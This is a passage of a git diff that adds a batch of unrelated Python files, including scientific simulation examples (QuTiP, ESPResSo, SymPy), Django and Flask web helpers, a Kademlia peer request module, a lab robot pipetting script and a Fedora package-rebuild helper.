nvr_from_srpm_path(srpmpath) + + bugdb = BugReportDb() + # print(bugdb.bugs) + bugdb.print_summary() + print('Processing %s' % srpmname) + statuses = bugdb.find(srpmname) + if statuses: + for status in statuses: + print(status.get_status()) + continue + + resultdir = get_result_dir(srpmpath) + if not os.path.exists(resultdir): + local_rebuild_of_srpm_in_mock(srpmpath, MOCK_CONFIG) + index = Index(resultdir, 'Errors seen in %s' % resultdir) + prepare_bug_report(srpmpath, index) + break + +# TODO: +# - automate grabbing the src.rpms; see e.g.: +# http://download.fedora.devel.redhat.com/pub/fedora/linux/releases/16/Everything/source/SRPMS/ +# http://download.fedora.devel.redhat.com/pub/fedora/linux/development/17/source/SRPMS/ diff --git a/pool/shard009/Python/0080856_config.py b/pool/shard009/Python/0080856_config.py new file mode 100644 index 0000000000000000000000000000000000000000..bf22ea7e3887907d7fc0a366cda3a25e45db3f94 --- /dev/null +++ b/pool/shard009/Python/0080856_config.py @@ -0,0 +1,14 @@ +"""Configuration about tests""" +from __future__ import absolute_import as _abs + +import os +import tvm + +def ctx_list(): + """Get context list for testcases""" + device_list = os.environ.get("NNVM_TEST_TARGETS", "") + device_list = (device_list.split(",") if device_list + else ["llvm", "cuda"]) + device_list = set(device_list) + res = [(device, tvm.context(device, 0)) for device in device_list] + return [x for x in res if x[1].exist] diff --git a/pool/shard009/Python/0080857_ex_JC_model_wigner.py b/pool/shard009/Python/0080857_ex_JC_model_wigner.py new file mode 100644 index 0000000000000000000000000000000000000000..f979dc5309630e1d2328c209a3c3502614313799 --- /dev/null +++ b/pool/shard009/Python/0080857_ex_JC_model_wigner.py @@ -0,0 +1,104 @@ +# +# Textbook example: Rabi oscillation in the dissipative Jaynes-Cummings model. +# +# +import matplotlib +matplotlib.use('AGG') +from qutip import * +import time +from mpl_toolkits.mplot3d import Axes3D +from matplotlib import cm +from pylab import * + + +def jc_integrate(N, wc, wa, g, kappa, gamma, psi0, use_rwa, tlist): + + # Hamiltonian + idc = qeye(N) + ida = qeye(2) + + a = tensor(destroy(N), ida) + sm = tensor(idc, destroy(2)) + + if use_rwa: + # use the rotating wave approxiation + H = wc * a.dag() * a + wa * sm.dag() * sm + g * (a.dag() * sm + a * sm.dag()) + else: + H = wc * a.dag() * a + wa * sm.dag() * sm + g * (a.dag() + a) * (sm + sm.dag()) + + # collapse operators + c_op_list = [] + + n_th_a = 0.0 # zero temperature + + rate = kappa * (1 + n_th_a) + if rate > 0.0: + c_op_list.append(sqrt(rate) * a) + + rate = kappa * n_th_a + if rate > 0.0: + c_op_list.append(sqrt(rate) * a.dag()) + + rate = gamma + if rate > 0.0: + c_op_list.append(sqrt(rate) * sm) + + # evolve and calculate expectation values + output = mesolve(H, psi0, tlist, c_op_list, []) + + + xvec = linspace(-5.,5.,100) + X,Y = meshgrid(xvec, xvec) + + i = 0 + + if not os.path.exists("jc_animation"): + os.mkdir("jc_animation") + + for wf in output.states: + + # trace out the atom + rho_cavity = ptrace(wf, 0) + + W = wigner(rho_cavity, xvec, xvec) + + fig = plt.figure(figsize=(9, 6)) + ax = Axes3D(fig, azim=-107, elev=49) + surf=ax.plot_surface(X, Y, W, rstride=1, cstride=1, cmap=cm.jet, alpha=1.0, linewidth=0.05, vmax=0.25, vmin=-0.25) + ax.set_xlim3d(-5, 5) + ax.set_ylim3d(-5, 5) + ax.set_zlim3d(-0.25, 0.25) + fig.colorbar(surf, shrink=0.65, aspect=20) + savefig("jc_animation/jc_model_wigner_%.3d.png" % i) + close(fig) + print i + i = i + 1 + + return 0 + +# +# set up the calculation +# +wc = 1.0 * 2 * pi # cavity frequency +wa = 1.0 * 2 * pi # atom frequency +g = 0.05 * 2 * pi # coupling strength + +kappa = 0.05 # cavity dissipation rate +gamma = 0.15 # atom dissipation rate + +N = 10 # number of cavity fock states + +use_rwa = True + +# intial state +psi0 = tensor(basis(N,0), basis(2,1)) # start with an excited atom +#psi0 = tensor(coherent(N,1.5), basis(2,0)) # or a coherent state the in cavity +#psi0 = tensor((coherent(N,2.0)+coherent(N,-2.0)).unit(), basis(2,0)) # or a superposition of coherent states the in cavity + +tlist = linspace(0,40,500) + +start_time = time.time() +jc_integrate(N, wc, wa, g, kappa, gamma, psi0, use_rwa, tlist) +print 'time elapsed = ' +str(time.time() - start_time) + + diff --git a/pool/shard009/Python/0080861_extended.py b/pool/shard009/Python/0080861_extended.py new file mode 100644 index 0000000000000000000000000000000000000000..e8ca801ac39941d63b658d4904016c7610b913da --- /dev/null +++ b/pool/shard009/Python/0080861_extended.py @@ -0,0 +1,284 @@ +# encoding: utf-8 + +import json +import datetime +import re +import bleach + +from django import template +from django import forms +from django.utils.translation import ugettext_lazy as _ +from django.core.exceptions import ValidationError +from django.utils.encoding import force_unicode +from django.utils.timezone import now as django_now +from django.utils.translation import to_locale, get_language +from django.template.defaultfilters import floatformat +from django.forms.utils import flatatt +from django.http import QueryDict +from django.middleware import csrf +from django.utils.safestring import mark_safe + +from classytags.core import Tag, Options +from classytags.arguments import MultiKeywordArgument, MultiValueArgument + +from babel import Locale +from babel.numbers import format_number, format_decimal, format_percent + +register = template.Library() + + +DEFAULT_CURRENCY = 'EUR' +# Send in data way to assets/js/input_format.js +CURRENCY_PATTERNS = { + 'EUR': { 'format': u'%s €', 'locale': 'fr_FR', 'spacing': ' ', 'decimal': ',', 'placeholder': 'EUR' }, + 'USD': { 'format': u'$%s', 'locale': 'en_US', 'spacing': ',', 'decimal': '.', 'placeholder': 'USD' }, +} + +def price_format_decimal_to_currency(value, currency='EUR'): + if value: + try: + if currency in CURRENCY_PATTERNS.keys(): + value = CURRENCY_PATTERNS[currency]['format'] % format_number(value, locale = CURRENCY_PATTERNS[currency]['locale']) + else: + return value + except: + return value + return value + +def price_format_currency_to_decimal(value, currency='EUR'): + if value == None: + return None + value = unicode(value) + if value.strip() == '': + return None + + float_value = "" + float_lock = False + for c in value[::-1]: + if c.isdigit(): + float_value += c + if not float_lock and (c == '.' or c == ','): + float_value += '.' + float_lock = True + + try: + return float(float_value[::-1]); + except: + return None + +@register.simple_tag(takes_context=True) +def csrf_token_flat(context): + return csrf.get_token(context['request']) + +@register.filter +def percentage(value): + if value or value == 0: + kwargs = { + 'locale': to_locale(get_language()), + 'format': "#,##0.00 %", + } + return format_percent(value, **kwargs) + + +@register.filter +def smartdate(value): + if isinstance(value, datetime.datetime): + now = django_now() + else: + now = datetime.date.today() + + timedelta = value - now + format = _(u"%(delta)s %(unit)s") + delta = abs(timedelta.days) + + if delta > 30: + delta = int(delta / 30) + unit = _(u"mois") + else: + unit = _(u"jours") + + ctx = { + 'delta': delta, + 'unit': unit, + } + + return format % ctx + +@register.filter(name='formatted_price') +def formatted_price(value, currency='EUR'): + price = price_format_decimal_to_currency(value, currency) + return price + +@register.filter(name='formatted_price_html') +def formatted_price_html(value, currency='EUR', spacing=None): + + currency_extra = currency.split(',') + currency = currency_extra[0] + if len(currency_extra) > 1: + spacing = currency_extra[1].strip() + + price = formatted_price(value, currency) + if price: + price = price.replace(u' €', u'€') + price = price + + if spacing != None: + price = re.sub(r'[\s\xa0]', spacing, price) + + return mark_safe(price) + + +@register.filter(name='formatted_float') +def formatted_float(value, currency='EUR', html=False): + price = price_format_decimal_to_currency(value, currency) + return price + + + + +@register.filter +def classname(obj): + return obj.__class__.__name__ + +@register.filter +def classname_lower(obj): + return classname(obj).lower() + + + + + +@register.filter(name='sizify') +def sizify(file): + """ + Simple kb/mb/gb size snippet for templates: + + {{ product.file.size|sizify }} + """ + #value = ing(value) + try: + value = file.size + if value < 512000: + value = value / 1024.0 + ext = 'kb' + elif value < 4194304000: + value = value / 1048576.0 + ext = 'mb' + else: + value = value / 1073741824.0 + ext = 'gb' + return '%s %s' % (str(round(value, 2)), ext) + except: + 'n/a' + +@register.filter +def file_sizify(value): + return sizify(file) + + +@register.filter +def sanitize(html): + return bleach.clean(html) + +@register.filter +def divideby(value, arg): return int(arg) / int(value) + + +@register.simple_tag +def url_active(request, pattern, classname='active'): + if request.path.strip('/').startswith(pattern): + return classname + return '' + + +@register.filter +def jsonify(obj): + return json.dumps(obj) + + + +@register.filter +def truncate_filename(value, args, maxchars=20, endchars='[...]'): + + """ + usage : {{ 'very_long_filename_display_blah_blah.zip'|truncate_filename:'20,...' }} + result : very_long_file[...].zip + """ + + arg_list = [arg.strip() for arg in args.split(',')] + # print arg_list + if len(arg_list) == 1: + maxchars = int(arg_list[0]) + if len(arg_list) == 2: + endchars = arg_list[1] + + filename_ext = value.rsplit('.', 1) + if len(filename_ext) >= 1: + filename = filename_ext[0] + ext = filename_ext[1] + else: + filename = value + ext = '' + + if len(filename) > maxchars: + return filename[:maxchars] + endchars + ext + else: + return value + + +@register.filter('external_url') +def external_url(url): + if not url.startswith('http://') or not url.startswith('https://'): + return "http://%s" % url + return url + +@register.filter +def admin_url_action(obj, action='change'): + info = (obj._meta.app_label, obj._meta.model_name, action) + args = None + if action not in ['add', 'changelist']: + args = [obj.pk] + return reverse("admin:%s_%s_%s" % info, args=args) + + +class QueryParameters(Tag): + name = 'query' + options = Options( + MultiKeywordArgument('kwa'), + ) + + def render_tag(self, context, kwa): + q = QueryDict('').copy() + q.update(kwa) + return q.urlencode() + +register.tag(QueryParameters) + + +class GetParameters(Tag): + + """ + {% raw %}{% get_parameters [except_field, ] %}{% endraw %} + """ + name = 'get_parameters' + options = Options( + MultiValueArgument('except_fields', required=False), + ) + + def render_tag(self, context, except_fields): + try: + # If there's an exception (500), default context_processors may not + # be called. + request = context['request'] + except KeyError: + return context + + getvars = request.GET.copy() + + for field in except_fields: + if field in getvars: + del getvars[field] + + return getvars.urlencode() + +register.tag(GetParameters) \ No newline at end of file diff --git a/pool/shard009/Python/0080870_request.py b/pool/shard009/Python/0080870_request.py new file mode 100644 index 0000000000000000000000000000000000000000..9bd98efdaf5aae88d7a36beb6adc5083cdadd524 --- /dev/null +++ b/pool/shard009/Python/0080870_request.py @@ -0,0 +1,119 @@ +import hashlib +import random + +from utils import log + +class Request: + """ creates a request intended to be sended/received from a peer. + + A request defines the following items: + - the raw packet sent through the socket owned by a Peer + - a request action to perform when received `onreceive()' + + The packet has the following structure: + + e.g: Ping + 2a6a75094940ecbdc4ac + =,[...] identifier=0c47561d45d2d6adc5a7, + """ + + def __init__(self): + self._params = {} + self._typename = type(self).__name__ + + def send(self, peer, address, port): + log("Sending {} to {}:{}".format(self._typename, address, port)) + packet = "{}\n{}\n".format(self._typename, self.header()).encode('utf-8') + for param in self._params: + packet += '{}={},'.format(param, self._params[param]).encode('utf-8') + + socket = peer.getsocket() + socket.sendto(packet, (address, port)) + + def handle(self, peer, reqaddr, reqport): + log("Received an unknown packet") + print(self) + return self.onreceive(peer, reqaddr, reqport) + + def header(self): + return "" + + def onreceive(self, peer, reqaddr, reqport): + pass + + def addparam(self, name, value): + self._params[name] = value + + def getparam(self, name): + return self._params[name] + + def addParamsFromString(self, params): + for param in params.split(',')[:-1]: + name, value = param.split('=') + self.addparam(name, value) + + def __str__(self): + return "{}\n{}".format(self._typename, str(self._params)) + + +class LocalRequest(Request): + """ creates a local request + + A Local Request is a Request sent from the same host that owns a peer. + Is intended to be used for querying a Peer and not meet the same constraints + found in request designed for Kademlia (RemoteRequest). + """ + def __init__(self): + super().__init__() + + def send(self, peer, port): + super().send(peer, "", port) + + def handle(self, peer, reqaddr, reqport): + if(reqaddr != "127.0.0.1"): + raise Exception("LocalRequest from Remote Host") + log("Received a {} from port {}".format(type(self).__name__, reqport)) + print(self) + return self.onreceive(peer, reqaddr, reqport) + + +class RemoteRequest(Request): + """ creates a request intended to be sent/received from another remote Peer + + A Remote Request is a Request sent from another Peer in the net. + It contains Peer's informations that informs the receiver of its presence on the net on each request. + """ + + def __init__(self, senderid): + super().__init__() + self.senderid = senderid + self.addparam("identifier", hashlib.sha256(str(random.randint(0, 2**32 - 1)).encode('utf-8')).hexdigest()[:20]) + + def header(self): + return self.getsenderid() + + def handle(self, peer, reqaddr, reqport): + log('Received a {} from {}:{} aka {}'.format(type(self).__name__, reqaddr, reqport, self.getsenderid())) + print(self) + + # Update the kbucket on each RemoteRequest + contact = (self.getsenderid(), reqaddr, reqport) + peer.node.addcontact(contact) + return self.onreceive(peer, reqaddr, reqport) + + def setidentifier(self, identifier): + self.addparam("identifier", identifier) + + def setreceiverid(self, nodeid): + self.addparam("receiverid", nodeid); + + def setsenderid(self, nodeid): + self.senderid = nodeid + + def getsenderid(self): + return self.senderid + + def getidentifier(self): + return self.getparam('identifier') + + diff --git a/pool/shard009/Python/0080876_constraints.py b/pool/shard009/Python/0080876_constraints.py new file mode 100644 index 0000000000000000000000000000000000000000..270fb84a55bbc73dfb93a180913556e3edf1c0a8 --- /dev/null +++ b/pool/shard009/Python/0080876_constraints.py @@ -0,0 +1,126 @@ +# Copyright (C) 2010-2018 The ESPResSo project +# +# This file is part of ESPResSo. +# +# ESPResSo is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# ESPResSo is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +"""This sample checks if particles or a polymer added to the system obey(s) constraints.""" + +from __future__ import print_function +import espressomd + +# Check if necessary features have been compiled +############################################################# + +required_features = ["LENNARD_JONES"] +espressomd.assert_features(required_features) + +from espressomd import thermostat +from espressomd import interactions +from espressomd import shapes +from espressomd import polymer + +import numpy as np + +# System parameters +############################################################# + +system = espressomd.System(box_l=[50.0, 50.0, 50.0]) +system.seed = system.cell_system.get_state()['n_nodes'] * [1234] +np.random.seed(seed=system.seed) + +# if no seed is provided espresso generates a seed + +system.time_step = 0.01 +system.cell_system.skin = 10.0 +system.thermostat.set_langevin(kT=1.0, gamma=1.0) +system.cell_system.set_n_square(use_verlet_lists=False) + +system.non_bonded_inter[0, 0].lennard_jones.set_params( + epsilon=1, sigma=1, + cutoff=2**(1. / 6), shift="auto") + +num_part = 30 + +# create random positions in the box sufficiently away from the walls +ran_pos = np.random.uniform(low=1, high=49, size=(num_part, 3)) +system.part.add(id=np.arange(num_part), + pos=ran_pos, type=np.zeros(num_part, dtype=int)) + +# bottom wall, normal pointing in the +z direction, laid at z=0.1 +floor = shapes.Wall(normal=[0, 0, 1], dist=0.1) +c1 = system.constraints.add( + particle_type=0, penetrable=False, only_positive=False, shape=floor) + +# top wall, normal pointing in the -z direction, laid at z=49.9, since the +# normal direction points down, dist is -49.9 +ceil = shapes.Wall(normal=[0, 0, -1], dist=-49.9) +c2 = system.constraints.add( + particle_type=0, penetrable=False, only_positive=False, shape=ceil) + + +# create_polymer will avoid violating the contraints + +fene = interactions.FeneBond(k=30, d_r_max=2) +system.bonded_inter.add(fene) +# start it next to the wall to test it! +start = np.array([1, 1, 1]) + +# polymer.create_polymer(N_P=1, bond_length=1.0, MPC=50, +# start_id=num_part, start_pos=start, type_poly_neutral=0, +# type_poly_charged=0, bond=fene, constraints=1) + + +# Warmup +############################################################# + +warm_steps = 200 +warm_n_times = 100 +min_dist = 0.9 + +lj_cap = 5 +system.force_cap = lj_cap +i = 0 +act_min_dist = system.analysis.min_dist() +system.thermostat.set_langevin(kT=0.0, gamma=1.0) + +# warmp with zero temperature to remove overlaps +while (act_min_dist < min_dist or c1.min_dist() < min_dist or c2.min_dist() < min_dist): + for j in range(warm_steps + lj_cap): + print(j) + system.integrator.run(1) +# system.integrator.run(warm_steps + lj_cap) + # Warmup criterion + act_min_dist = system.analysis.min_dist() + i += 1 + lj_cap = lj_cap + 1 + system.force_cap = lj_cap + +lj_cap = 0 +system.force_cap = lj_cap +system.integrator.run(warm_steps) + +# ramp up to simulation temperature +temp = 0 +while (temp < 1.0): + system.thermostat.set_langevin(kT=temp, gamma=1.0) + system.integrator.run(warm_steps) + temp += 0.1 +system.thermostat.set_langevin(kT=1.0, gamma=1.0) +system.integrator.run(warm_steps) + + +for t in range(300): + system.integrator.run(1000) + # print the position to see if it stays within imposed constraints + print(system.part[0].pos) diff --git a/pool/shard009/Python/0080879_bulletin.py b/pool/shard009/Python/0080879_bulletin.py new file mode 100644 index 0000000000000000000000000000000000000000..655a49962b5a387bd2b91dc290659e78354c2ce3 --- /dev/null +++ b/pool/shard009/Python/0080879_bulletin.py @@ -0,0 +1,39 @@ +from django.conf import settings +import time + + +class Bulletin(object): + def __init__(self, *args, **kwargs): + vals = self.process_args(args, kwargs) + + self.sender = vals['sender'] + self.subject = vals['subject'] + self.content = vals['content'] + self.timestamp = int(vals['timestamp']) + + def process_args(self, args, kwargs): + if len(kwargs) == 4: + return kwargs + elif len(args) == 1: + return args[0] + elif settings.CREATE_STUBS: + # CREATE A STUB BULLETIN + return self.create_stub() + else: + raise BulletinException() + + def create_stub(self): + return { + "sender": "StubSender", + "content": "Stub Bulletin Body", + "timestamp": time.time(), + "subject": "Stub Subject" + } + + def get_reference(self): + return self.sender + ':' + str(self.timestamp) + + +class BulletinException(BaseException): + def __init__(self): + super(BulletinException, self).__init__("Failed to create Bulletin. Please refer to constructor.") \ No newline at end of file diff --git a/pool/shard009/Python/0080884_inverse.py b/pool/shard009/Python/0080884_inverse.py new file mode 100644 index 0000000000000000000000000000000000000000..bd389f70fbea5e3057c52e77fa6451189f712a88 --- /dev/null +++ b/pool/shard009/Python/0080884_inverse.py @@ -0,0 +1,63 @@ +from __future__ import print_function, division + +from sympy.core.sympify import _sympify +from sympy.core import S, Basic + +from sympy.matrices.expressions.matexpr import ShapeError +from sympy.matrices.expressions.matpow import MatPow + + +class Inverse(MatPow): + """ + The multiplicative inverse of a matrix expression + + This is a symbolic object that simply stores its argument without + evaluating it. To actually compute the inverse, use the ``.inverse()`` + method of matrices. + + Examples + ======== + + >>> from sympy import MatrixSymbol, Inverse + >>> A = MatrixSymbol('A', 3, 3) + >>> B = MatrixSymbol('B', 3, 3) + >>> Inverse(A) + A^-1 + >>> A.inverse() == Inverse(A) + True + >>> (A*B).inverse() + B^-1*A^-1 + >>> Inverse(A*B) + (A*B)^-1 + + """ + is_Inverse = True + exp = S(-1) + + def __new__(cls, mat): + mat = _sympify(mat) + assert mat.is_Matrix + if not mat.is_square: + raise ShapeError("Inverse of non-square matrix %s" % mat) + return Basic.__new__(cls, mat) + + @property + def arg(self): + return self.args[0] + + @property + def shape(self): + return self.arg.shape + + def _eval_inverse(self): + return self.arg + + def _eval_determinant(self): + from sympy.matrices.expressions.determinant import det + return 1/det(self.arg) + + def doit(self, **hints): + if hints.get('deep', True): + return self.arg.doit(**hints).inverse() + else: + return self.arg.inverse() diff --git a/pool/shard009/Python/0080885_map.py b/pool/shard009/Python/0080885_map.py new file mode 100644 index 0000000000000000000000000000000000000000..953b35ece805b164cb914a12e39245fdd10260fb --- /dev/null +++ b/pool/shard009/Python/0080885_map.py @@ -0,0 +1,44 @@ +''' +Compute MAP score for given test and prediction files +Usage: map.py test_with_answers.csv predictions.txt + +Test file is supposed to have headers in first line +Predictions file is supposed to NOT have headers +''' + +import sys, csv + +test_file = sys.argv[1] +predictions_file = sys.argv[2] + +t = open( test_file ) +p = open( predictions_file ) + +t_reader = csv.reader( t ) +headers = t_reader.next() + +p_reader = csv.reader( p, delimiter = " " ) + +n = 0 +m = 0 +aps = [] + +for line in t_reader: + n += 1 + predictions = p_reader.next() + sku = line[1] + if sku not in predictions: + aps.append( 0 ) + continue + + m += 1 + i = predictions.index( sku ) + ap = 1.0 / ( i + 1 ) + #print ap + aps.append( ap ) + +map_score = sum( aps ) / n + +print predictions_file +print "Found clicked SKU in %s / %s cases (%s)" % ( m, n, 1.0 * m / n ) +print "MAP: %s" % ( map_score ) diff --git a/pool/shard009/Python/0080886_test_gateways.py b/pool/shard009/Python/0080886_test_gateways.py new file mode 100644 index 0000000000000000000000000000000000000000..8cdf053d12ab4a9c1459a4949d4c9983dbba7387 --- /dev/null +++ b/pool/shard009/Python/0080886_test_gateways.py @@ -0,0 +1,61 @@ +# -*- coding: utf-8 -*- +import datetime + +from django.test import TestCase + +from utils.gateways import GatewayByRw + + +class GatewaysTest(TestCase): + """ + Tests for By Rw gateway, + !!! Caution, tests can be unstable because 3th party resource is involved + """ + def test_gatewaybyrw(self): + with GatewayByRw() as gw: + departure_point = "HOMIEĹ PASAŽYRSKI" + destination_point = "MINSK" + departure_date = datetime.datetime.now() + datetime.timedelta(days=5) + trains = gw.get_trains( + departure_point, + destination_point, + departure_date + ) + + self.assertIsNotNone(trains) + self.assertNotEqual(trains, 0) + + for k,v in trains.items(): + details = gw.get_train_details( + v['train_id'], + v['types'][0] + ) + + self.assertIsNotNone(details) + self.assertNotEqual(details, 0) + + def test_find_station(self): + with GatewayByRw() as gw: + result = gw.find_station("MINSK") + + self.assertEqual(result[0]['code'], u"2100000") + self.assertEqual(result[0]['name'], u"MINSK") + self.assertEqual(result[0]['full_name'], u"MINSK, BELARUS") + + result = gw.find_station("HOMIEĹ") + + self.assertEqual(result[0]['code'], u"2100100") + self.assertEqual(result[0]['name'], u"HOMIEĹ PASAŽYRSKI") + self.assertEqual(result[0]['full_name'], u"HOMIEĹ PASAŽYRSKI, BELARUS") + + def test_find_train(self): + with GatewayByRw() as gw: + departure_point = "HOMIEĹ PASAŽYRSKI" + destination_point = "MINSK" + date = datetime.datetime.now() + datetime.timedelta(days=5) + + result = gw.find_train(date, departure_point, destination_point, u"HOMIEĹ") + + self.assertTrue(u'HOMIEĹ' in result[0]['full_name']) + self.assertTrue(u':' in result[0]['arrival_time']) + self.assertTrue(u':' in result[0]['departure_time']) diff --git a/pool/shard009/Python/0080887_xmlread.py b/pool/shard009/Python/0080887_xmlread.py new file mode 100644 index 0000000000000000000000000000000000000000..3fb041c7918db3e4765dad97f56f2e5fb30ca725 --- /dev/null +++ b/pool/shard009/Python/0080887_xmlread.py @@ -0,0 +1,31 @@ +#!/usr/local/bin/python3 + +import xml.etree.ElementTree as ET + +tree = ET.parse('devices.xml') + +root = tree.getroot() + +table = root.find("inftable") +version = table.find("version") +print("v: " + version.text) +controls = table.find("control") +for c in controls: + print(c.tag) + for attr in c: + print("\t" + attr.tag + " " + attr.text) + +new = ET.SubElement(root, 'new') +version = ET.SubElement(new, 'version') +version.text = "1.0" + +tree.write('devices2.xml') + +# for subtree in root: +# print(subtree.tag) +# for child in subtree: +# print("\t" + child.tag + " " + child.text) +# for child1 in child: +# print("\t\t" + child1.tag + " " + child1.text) +# for child2 in child1: +# print("\t\t\t" + child2.tag + " " + child2.text) \ No newline at end of file diff --git a/pool/shard009/Python/0080889_wsgiapp.py b/pool/shard009/Python/0080889_wsgiapp.py new file mode 100644 index 0000000000000000000000000000000000000000..2e46642808980af8dc09f2104b1130db4738603c --- /dev/null +++ b/pool/shard009/Python/0080889_wsgiapp.py @@ -0,0 +1,33 @@ +# coding=utf-8 + +__author__ = 'xubinggui' + +''' +A WSGI application entry. +''' + +import logging; logging.basicConfig(level=logging.INFO) + +import os + +from transwarp import db +from transwarp.web import WSGIApplication, Jinja2TemplateEngine + +from config import configs + +# init db: +db.create_engine(**configs.db) + +# init wsgi app: +wsgi = WSGIApplication(os.path.dirname(os.path.abspath(__file__))) + +template_engine = Jinja2TemplateEngine(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates')) + +wsgi.template_engine = template_engine + +import urls + +wsgi.add_module(urls) + +if __name__ == '__main__': + wsgi.run(9000) \ No newline at end of file diff --git a/pool/shard009/Python/0080891_errors.py b/pool/shard009/Python/0080891_errors.py new file mode 100644 index 0000000000000000000000000000000000000000..0cc85c5e54e9ef03217abc637e77c16a9f260979 --- /dev/null +++ b/pool/shard009/Python/0080891_errors.py @@ -0,0 +1,30 @@ +from flask import jsonify +# from app.exceptions import ValidationError + + +def bad_request(message): + response = jsonify({'error': 'bad request', 'message': message}) + response.status_code = 400 + return response + + +def unauthorized(message): + response = jsonify({'error': 'unauthorized', 'message': message}) + response.status_code = 401 + return response + + +def forbidden(message): + response = jsonify({'error': 'forbidden', 'message': message}) + response.status_code = 403 + return response + +def not_found(message): + response = jsonify({'error': 'not found', 'message': message}) + response.status_code = 404 + return response + + +# @main.errorhandler(ValidationError) +# def validation_error(e): +# return bad_request(e.args[0]) diff --git a/pool/shard009/Python/0080894_Rob_OD630_ONLY_4.py b/pool/shard009/Python/0080894_Rob_OD630_ONLY_4.py new file mode 100644 index 0000000000000000000000000000000000000000..ef0e313b1ffec94aefaec24f7d6489a4737f6446 --- /dev/null +++ b/pool/shard009/Python/0080894_Rob_OD630_ONLY_4.py @@ -0,0 +1,61 @@ +import sys +# where RobotControl.py, etc lives +sys.path.append('/home/pi/Desktop/ADL/YeastRobot/PythonLibrary') +from RobotControl import * + + +################################# +### Define Deck Layout +################################# +deck="""\ +SW24P SW24P SW24P SW24P SW24P SW24P SW96P SW96P +SW24P SW24P SW24P SW24P SW24P SW24P SW96P SW96P +SW24P SW24P SW24P SW24P SW24P SW24P SW96P SW96P +SW24P SW24P SW24P SW24P SW24P SW24P BLANK BLANK +""" +# 2 3 4 5 6 +# note the 1st user defined column is "2" not zero or one, since tips are at 0 & 1 +################################## + +myvol = 140 +# 1 = UL of BoxA, 2 = UR of BoxA, 3 = LL of BoxA, etc. +OffsetDict={0: 'UL', 1: 'UR', 2: 'LL', 3: 'LR'} +# read in deck, etc +DefineDeck(deck) +printDeck() +InitializeRobot() +CurrentTipPosition = 1 + +for col in [2]: + for row in [0,1,2,3]: + + CurrentTipPosition = retrieveTips(CurrentTipPosition) + + # initial mix + position(row,col) + mix(300,90,100,5) + + # from SW24 to SW24 with media +# position(row,col) +# aspirate(myvol,depth=90,speed=50,mix=3) +# position(row,col+3) +# dispense(myvol, depth=90, speed=50) + + # from SW24 to SW96 empty + position(row,col) + aspirate(myvol,depth=90,speed=50,mix=3) + position(col-2,8,position = OffsetDict[row]) + dispense(myvol, depth=90, speed=50) + + # from SW24 to SW96 empty + position(row,col) + aspirate(myvol,depth=90,speed=50,mix=3) + position(col-2,9,position = OffsetDict[row]) + dispense(myvol, depth=90, speed=50) + + disposeTips() + +position(0,0) +ShutDownRobot() +quit() + diff --git a/pool/shard009/Python/0080903_utils.py b/pool/shard009/Python/0080903_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..cfae7e3d9020c25bcf2d91f89a6c16a6c0fe6d00 --- /dev/null +++ b/pool/shard009/Python/0080903_utils.py @@ -0,0 +1,73 @@ +# coding: utf-8 +import yaml +import pymorphy2 + +from lxml import etree + +from django.conf import settings +from django.db.models import CharField, IntegerField, DateField, TextField +from django.utils.translation import ugettext_lazy as _ + +MORPH = pymorphy2.MorphAnalyzer() + + +def get_django_field(field_type, **kwargs): + field_types = { + 'char': CharField(max_length=settings.MAX_CHAR_LENGTH, **kwargs), + 'int': IntegerField(**kwargs), + 'date': DateField(**kwargs), + 'text': TextField(**kwargs) + } + if field_type in field_types: + return field_types[field_type] + + +def get_models_from_yaml(): + models = yaml.load(open(settings.CONFIG_FILEPATH, 'r', encoding='utf-8')) + for model_name, params in models.items(): + name = MORPH.parse(params['title'].lower())[0] + attrs = { + 'Meta': type('Meta', (), { + 'verbose_name': _(name.inflect({'sing', 'nomn'}).word), + 'verbose_name_plural': _(name.inflect({'plur', 'nomn'}).word) + }), + } + attrs.update( + {field['id']: get_django_field(field['type'], verbose_name=_(field['title'].lower())) for field in + params['fields']} + ) + yield model_name.capitalize(), attrs + + +def get_models_from_xml(): + root = etree.parse(open(settings.CONFIG_FILEPATH, 'r', encoding='utf-8')) + models = root.xpath('//root/model') + + for model in models: + fields = model.getchildren() + + name = MORPH.parse(model.attrib['title'].lower())[0] + attrs = { + 'Meta': type('Meta', (), { + 'verbose_name': _(name.inflect({'sing', 'nomn'}).word), + 'verbose_name_plural': _(name.inflect({'plur', 'nomn'}).word) + }), + } + attrs.update( + {field.attrib['id']: get_django_field(field.attrib['type'], verbose_name=_(field.attrib['title'].lower())) + for field in fields} + ) + yield model.attrib['name'].capitalize(), attrs + + +def get_model_generator(): + model_generators = {'yaml': get_models_from_yaml, 'xml': get_models_from_xml} + return model_generators[settings.CONFIG_FILE.rsplit('.')[1]]() + + +def get_models(parent_model, with_name=False, extra_attrs=None): + for name, attrs in get_model_generator(): + if extra_attrs is not None and type(extra_attrs) is dict: + attrs.update(extra_attrs) + dynamic_model = type(name, (parent_model,), attrs) + yield name, dynamic_model if with_name else dynamic_model diff --git a/pool/shard009/Python/0080917_merge.py b/pool/shard009/Python/0080917_merge.py new file mode 100644 index 0000000000000000000000000000000000000000..6c39e3bb690be0d4c00b238b827d311385f29036 --- /dev/null +++ b/pool/shard009/Python/0080917_merge.py @@ -0,0 +1,122 @@ +## \file merge.py +# \brief python package for merging meshes +# \author T. Economon, T. Lukaczyk, F. Palacios +# \version 7.0.3 "Blackbird" +# +# SU2 Project Website: https://su2code.github.io +# +# The SU2 Project is maintained by the SU2 Foundation +# (http://su2foundation.org) +# +# Copyright 2012-2020, SU2 Contributors (cf. AUTHORS.md) +# +# SU2 is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# SU2 is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with SU2. If not, see . + +# ---------------------------------------------------------------------- +# Imports +# ---------------------------------------------------------------------- + +import os, sys, shutil, copy +from .. import io as su2io +from .interface import SOL as SU2_SOL +from .interface import SOL_FSI as SU2_SOL_FSI + 